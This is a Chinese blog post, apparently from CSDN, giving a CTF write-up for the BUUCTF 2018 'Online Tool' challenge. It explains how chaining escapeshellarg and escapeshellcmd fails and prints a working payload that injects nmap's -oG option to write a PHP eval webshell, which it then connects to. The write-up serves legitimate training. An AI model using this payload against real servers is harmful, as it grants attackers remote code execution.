[BUUCTF 2018]Online Tool

于 2022-06-30 01:25:51 发布
阅读量723 收藏
点赞数 3
分类专栏： CTF 文章标签： php 开发语言 ctf 网络安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45924653/article/details/125532473
版权

在这里插入图片描述
一段php审计下吧，不存在get参数host时高亮显示代码，不管先传个host看看

在这里插入图片描述
sandbox后面的值经过了md5，往下审计时发现俩个函数 escapeshellarg和escapeshellcmd

在这里插入图片描述
在这里插入图片描述
escapeshellarg将字符串转码可以在shell中使用的参数

在这里插入图片描述
两个函数一起使用时就出现了问题

在这里插入图片描述
执行命令时\解释为\不再是转译字符，所有的过滤都没有什么作用了
再往下审计有system命令，执行了nmap的命令这时第一个想到的就是写webshell啊擦
用nmap的-oG写文件
payload

?host='<?php @eval($_POST["c7ay"]);?> -oG c7ay.php'

蚁剑连一下找flag

在这里插入图片描述

专注，勤学，慎思。戒骄戒躁，谦虚谨慎

c7ay.
关注
  • 3
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
[BUUCTF 2018]Online Tool -wp
freerats的博客
07-03 313
打开网页可以看到代码，进行代码审计 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); 获取你的ip，然后进行加密，把MD5值输出，然后以这个值创建一个目录 尝试一下127.0.0.1 ，发现调用nmap对输入的ip进行扫描 $host = $_GET['host']; $ho.
[BUUCTF 2018]Online Tool(特详解)
最新发布
qq_74806534的博客
01-28 2万+
即先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用。这意味着 PHP 脚本的当前工作目录将被更改为用户特定的沙盒目录，后续的文件和命令将在这个目录下执行。
Seal Online Tool_tool_ToolsItem.scr_
10-02
for edit item scr seal ofline
Online-Compile
01-30
Online_Compile
online_classroom.csv
03-17
CSDN因果分析系列相关数据
sqlTool.rar_Online SQL Tool_SQLTool_sqlto
09-24
一个在线的演示SQL语句应用的工具网络应用...
青岛大学开源 Online Judge
11-03
青岛大学开源 Online Judge | QQ群 496710125 。。。。。
BUUCTF：[BUUCTF 2018]Online Tool
末初的CSDN博客
12-04 1480
https://buuoj.cn/challenges#[BUUCTF%202018]Online%20Tool <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $h
web buuctf [BUUCTF 2018]Online Tool1
weixin_44214568的博客
03-24 2841
考点：escapeshellarg（）和escapeshellcmd（）漏洞； RCE漏洞 通过代码审计，传参是host，最后的输出对host利用namp扫描， 主要函数就是 $host = escapeshellarg($host); $host = escapeshellcmd($host); escapeshellarg()： escapeshellarg(string$arg):string 重点：escapeshellarg()将给字符串增加一个单引号并且能引用或...
line tool C++
05-24
Line tool in C++ can be implemented using the Bresenham's line algorithm. Here's an example implementation: ```c++ #include #include using namespace std; void drawLine(int x1, int y1, int x2, int...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值